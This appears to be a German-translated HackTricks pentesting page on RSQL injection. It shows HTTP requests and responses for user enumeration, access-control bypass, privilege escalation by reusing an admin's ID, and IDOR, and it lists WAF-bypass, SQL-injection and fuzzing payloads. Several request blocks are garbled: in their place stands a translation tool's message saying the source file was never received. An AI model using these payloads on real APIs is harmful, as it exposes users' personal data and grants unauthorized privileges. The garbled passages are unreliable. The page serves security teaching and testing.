RSQL Injection

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Was ist RSQL?

RSQL ist eine Abfragesprache, die fĂŒr die parametrische Filterung von Eingaben in RESTful APIs entwickelt wurde. Basierend auf FIQL (Feed Item Query Language), ursprĂŒnglich von Mark Nottingham zur Abfrage von Atom-Feeds spezifiziert, zeichnet sich RSQL durch seine Einfachheit und die FĂ€higkeit aus, komplexe Abfragen kompakt und URI-kompatibel ĂŒber HTTP auszudrĂŒcken. Damit ist es eine ausgezeichnete Wahl als allgemeine Abfragesprache fĂŒr die Suche an REST-Endpunkten.

Übersicht

RSQL Injection ist eine Schwachstelle in Webanwendungen, die RSQL als Abfragesprache in RESTful APIs verwenden. Ähnlich wie SQL Injection und LDAP Injection tritt diese Schwachstelle auf, wenn RSQL-Filter nicht richtig bereinigt werden, wodurch ein Angreifer bösartige Abfragen injizieren kann, um unautorisiert auf Daten zuzugreifen, diese zu verĂ€ndern oder zu löschen.

Wie funktioniert es?

RSQL ermöglicht es, in RESTful APIs komplexe Abfragen zu erstellen, zum Beispiel:

/products?filter=price>100;category==electronics

Das ĂŒbersetzt sich in eine strukturierte Abfrage, die Produkte filtert, deren Preis grĂ¶ĂŸer als 100 und deren Kategorie “electronics” ist.

Wenn die Anwendung Benutzereingaben nicht korrekt validiert, könnte ein Angreifer den Filter manipulieren, um unerwartete Abfragen auszufĂŒhren, z. B.:

/products?filter=id=in=(1,2,3);delete_all==true

Oder sogar ausnutzen, um sensible Informationen mit Boolean-Queries oder verschachtelten Subqueries zu extrahieren.

Risiken

  • Offenlegung sensibler Daten: Ein Angreifer kann Informationen abrufen, die nicht zugĂ€nglich sein sollten.
  • Datenmanipulation oder -löschung: Einspeisen von Filtern, die DatenbankeintrĂ€ge verĂ€ndern.
  • Privilegieneskalation: Manipulation von Identifikatoren, die Rollen ĂŒber Filter zuweisen, um die Anwendung zu tĂ€uschen und mit den Rechten anderer Benutzer zuzugreifen.
  • Umgehung von Zugriffskontrollen: Manipulation von Filtern, um auf eingeschrĂ€nkte Daten zuzugreifen.
  • Impersonation oder IDOR: Änderung von Identifikatoren zwischen Benutzern mittels Filtern, die Zugriff auf Informationen und Ressourcen anderer Benutzer ermöglichen, ohne korrekt als diese authentifiziert zu sein.

UnterstĂŒtzte RSQL-Operatoren

OperatorBeschreibungBeispiel
; / andLogischer AND-Operator. Filtert Zeilen, in denen beide Bedingungen wahr sind/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orLogischer OR-Operator. Filtert Zeilen, in denen mindestens eine Bedingung wahr ist/api/v2/myTable?q=columnA==valueA,columnB==valueB
==FĂŒhrt eine Gleichheitsabfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA genau dem queryValue entsprechen/api/v2/myTable?q=columnA==queryValue
=q=FĂŒhrt eine Suchabfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA das queryValue enthalten/api/v2/myTable?q=columnA=q=queryValue
=like=FĂŒhrt eine like-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA dem queryValue Ă€hneln/api/v2/myTable?q=columnA=like=queryValue
=in=FĂŒhrt eine in-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen columnA den Wert valueA ODER valueB enthĂ€lt/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=FĂŒhrt eine Ausschluss-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA weder valueA noch valueB sind/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=FĂŒhrt eine not equals-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA nicht gleich queryValue sind/api/v2/myTable?q=columnA!=queryValue
=notlike=FĂŒhrt eine not like-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA nicht wie queryValue sind/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=FĂŒhrt eine lesser than-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA kleiner als queryValue sind/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=FĂŒhrt eine kleiner oder gleich-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA kleiner als oder gleich queryValue sind/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=FĂŒhrt eine greater than-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA grĂ¶ĂŸer als queryValue sind/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=FĂŒhrt eine Abfrage “gleich oder grĂ¶ĂŸer” durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA gleich oder grĂ¶ĂŸer als queryValue sind/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=FĂŒhrt eine from-to-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA grĂ¶ĂŸer oder gleich dem fromValue und kleiner oder gleich dem toValue sind/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Hinweis: Tabelle basiert auf Informationen von MOLGENIS und rsql-parser Anwendungen.

Beispiele

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Hinweis: Tabelle basiert auf Informationen von rsql-parser Anwendung.

GĂ€ngige Filter

Diese Filter helfen, Abfragen in APIs zu verfeinern:

FilterBeschreibungBeispiel
filter[users]Filtert Ergebnisse nach bestimmten Benutzern/api/v2/myTable?filter[users]=123
filter[status]Filtert nach Status (active/inactive, completed, etc.)/api/v2/orders?filter[status]=active
filter[date]Filtert Ergebnisse innerhalb eines Datumsbereichs/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Filtert nach Kategorie oder Ressourcentyp/api/v2/products?filter[category]=electronics
filter[id]Filtert nach einer eindeutigen Kennung/api/v2/posts?filter[id]=42

GĂ€ngige Parameter

Diese Parameter helfen, API-Antworten zu optimieren:

ParameterBeschreibungBeispiel
includeBezieht verwandte Ressourcen in die Antwort ein/api/v2/orders?include=customer,items
sortSortiert Ergebnisse in auf- oder absteigender Reihenfolge/api/v2/users?sort=-created_at
page[size]Steuert die Anzahl der Ergebnisse pro Seite/api/v2/products?page[size]=10
page[number]Gibt die Seitennummer an/api/v2/products?page[number]=2
fields[resource]Definiert, welche Felder in der Antwort zurĂŒckgegeben werden/api/v2/users?fields[users]=id,name,email
searchErmöglicht eine flexiblere Suche/api/v2/posts?search=technology

Offenlegung von Informationen und AufzÀhlung von Benutzern

Die folgende Anfrage zeigt einen Registrierungs-Endpoint, der den email-Parameter benötigt, um zu prĂŒfen, ob ein Benutzer mit dieser E-Mail registriert ist, und true oder false zurĂŒckgibt, je nachdem, ob er in der Datenbank existiert oder nicht:

Anfrage

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwort

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Obwohl eine /api/registrations?email=<emailAccount> erwartet wird, ist es möglich, RSQL filters zu verwenden, um zu versuchen, Benutzerinformationen zu enumerate und/oder extracten, indem spezielle Operatoren eingesetzt werden:

Anfrage

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Ich habe den Inhalt der Datei src/pentesting-web/rsql-injection.md nicht erhalten. Bitte fĂŒge hier den Markdown-Text dieser Datei ein (inkl. codeblocks, Links und Tags). Ich werde dann den englischen Text ins Deutsche ĂŒbersetzen und dabei alle Markdown-/HTML-Tags, Links, Pfade und spezifizierte AusdrĂŒcke unverĂ€ndert lassen.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

Im Fall einer Übereinstimmung mit einem gĂŒltigen E-Mail-Konto wĂŒrde die Anwendung die Benutzerinformationen zurĂŒckgeben, statt eines klassischen “true”, “1” oder Ă€hnlichem in der Antwort an den Server:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

I don’t have the content of src/pentesting-web/rsql-injection.md. Please paste the text you want translated to German.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Autorisierungsumgehung

In diesem Szenario starten wir mit einem Benutzer mit einer Basisrolle, der keine privilegierten Berechtigungen (z. B. Administrator) besitzt, um auf die Liste aller in der Datenbank registrierten Benutzer zuzugreifen:

Anfrage

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Bitte fĂŒge den Inhalt von src/pentesting-web/rsql-injection.md hier ein, damit ich ihn ins Deutsche ĂŒbersetzen kann (Markdown-/HTML-Syntax und Tags bleiben unverĂ€ndert).

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Erneut nutzen wir die Filter und speziellen Operatoren, die uns eine alternative Möglichkeit bieten, Informationen ĂŒber die users zu erhalten und die Zugangskontrolle zu umgehen. Beispielsweise filtere nach jenen users, die den Buchstaben “a” in ihrer user ID enthalten:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwort

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

Es ist sehr wahrscheinlich, bestimmte Endpunkte zu finden, die Benutzerrechte anhand ihrer Rolle prĂŒfen. Zum Beispiel haben wir es mit einem Benutzer ohne Privilegien zu tun:

Anfrage

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Ich habe keinen Text zum Übersetzen erhalten. Bitte fĂŒge hier den Inhalt der Datei src/pentesting-web/rsql-injection.md (Markdown) ein, dann ĂŒbersetze ich den relevanten englischen Text ins Deutsche und lasse dabei Code, Tags, Links, Pfade und die angegebenen Wörter unverĂ€ndert.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Durch die Verwendung bestimmter Operatoren konnten wir Administratoren enumerate:

Anfrage

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Ich habe keinen Inhalt zum Übersetzen erhalten. Bitte fĂŒge den Inhalt der Datei src/pentesting-web/rsql-injection.md (oder den zu ĂŒbersetzenden Abschnitt) hier ein, dann ĂŒbersetze ich ihn ins Deutsche und erhalte dabei die Markdown-/HTML-Syntax unverĂ€ndert.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Nachdem man die Kennung eines Administrator-Accounts kennt, lĂ€sst sich eine Privilegieneskalation ausnutzen, indem man den entsprechenden Filter durch die Kennung des Administrators ersetzt oder hinzufĂŒgt und so dieselben Privilegien erhĂ€lt:

Anfrage

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Ich habe keinen Zugriff auf die Datei. Bitte fĂŒge den Inhalt von src/pentesting-web/rsql-injection.md hier ein, dann ĂŒbersetze ich ihn ins Deutsche unter Beibehaltung aller Markdown-/HTML-Tags, Links und Pfade.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

ZusĂ€tzlich zur Verwendung des filter-Parameters ist es möglich, andere Parameter wie include zu verwenden, die es erlauben, bestimmte Felder im Ergebnis einzuschließen (z. B. Sprache, Land, Passwort
).

Im folgenden Beispiel werden die Informationen unseres Benutzerprofils angezeigt:

Anfrage

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwort

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Die Kombination von Filtern kann verwendet werden, um Autorisierungskontrollen zu umgehen und Zugriff auf die Profile anderer Benutzer zu erhalten:

Anfrage

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Ich habe keinen Inhalt zum Übersetzen erhalten. Bitte fĂŒge den Text der Datei src/pentesting-web/rsql-injection.md hier ein, dann ĂŒbersetze ich ihn ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Erkennung & fuzzing — schnelle Erfolge

  • PrĂŒfe auf RSQL-UnterstĂŒtzung, indem du harmlose PrĂŒfungen sendest wie ?filter=id==test, ?q==test oder fehlformatierte Operatoren =foo=; ausfĂŒhrliche APIs leak oft Parser-Fehler (“Unknown operator” / “Unknown property”).
  • Viele Implementierungen parsen URL-Parameter doppelt; versuche, (, ), *, ; doppelt zu encodieren (z. B. %2528admin%2529), um naive Blocklisten und WAFs zu umgehen.
  • Boolean exfil mit Wildcards: filter[users]=email==*%@example.com;status==ACTIVE und drehe die Logik mit , (OR) um, um AntwortgrĂ¶ĂŸen zu vergleichen.
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01) ermöglicht schnelle Enumerierung nach Jahr, ohne genaue IDs zu kennen.

Framework-spezifischer Missbrauch (Elide / JPA Specification / JSON:API)

  • Elide und viele Spring Data REST-Projekte ĂŒbersetzen RSQL direkt in JPA Criteria. Wenn Entwickler benutzerdefinierte Operatoren hinzufĂŒgen (z. B. =ilike=) und PrĂ€dikate via String-Konkatenation statt mit vorbereiteten Parametern aufbauen, kannst du zu SQLi pivotieren (klassische Payload: name=ilike='%%' OR 1=1--').
  • Der Elide analytic data store akzeptiert parameterisierte Spalten; die Kombination von vom Benutzer kontrollierten analytic params mit RSQL-Filtern war die Hauptursache fĂŒr SQLi in CVE-2022-24827. Selbst wenn gepatchte Versionen korrekt parameterisieren, bleibt Ă€hnliche maßgeschneiderte Logik oft bestehen — suche nach @JoinFilter/@ReadPermission SpEL-AusdrĂŒcken mit ${} und versuche, ';sleep(5);' oder logische Tautologien einzuschleusen.
  • JSON:API-Backends stellen hĂ€ufig sowohl include als auch filter bereit. Das Filtern auf verwandten Ressourcen filter[orders]=customer.email==*admin* kann Top-Level-ACLs umgehen, weil Filter auf Relationsebene vor EigentumsprĂŒfungen ausgefĂŒhrt werden.

Automatisierungshilfen

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE" validiert Payloads lokal und zeigt den abstrakten Syntaxbaum — nĂŒtzlich, um ausgeglichene Klammern und eigene Operatoren zu entwerfen.
  • Python Schnell-Builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • Kombiniere einen HTTP fuzzer (ffuf, turbo-intruder), indem du Wildcard-Positionen *a*, *e* usw. innerhalb von =in=-Listen iterierst, um schnell IDs und emails zu enumerate.

Referenzen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks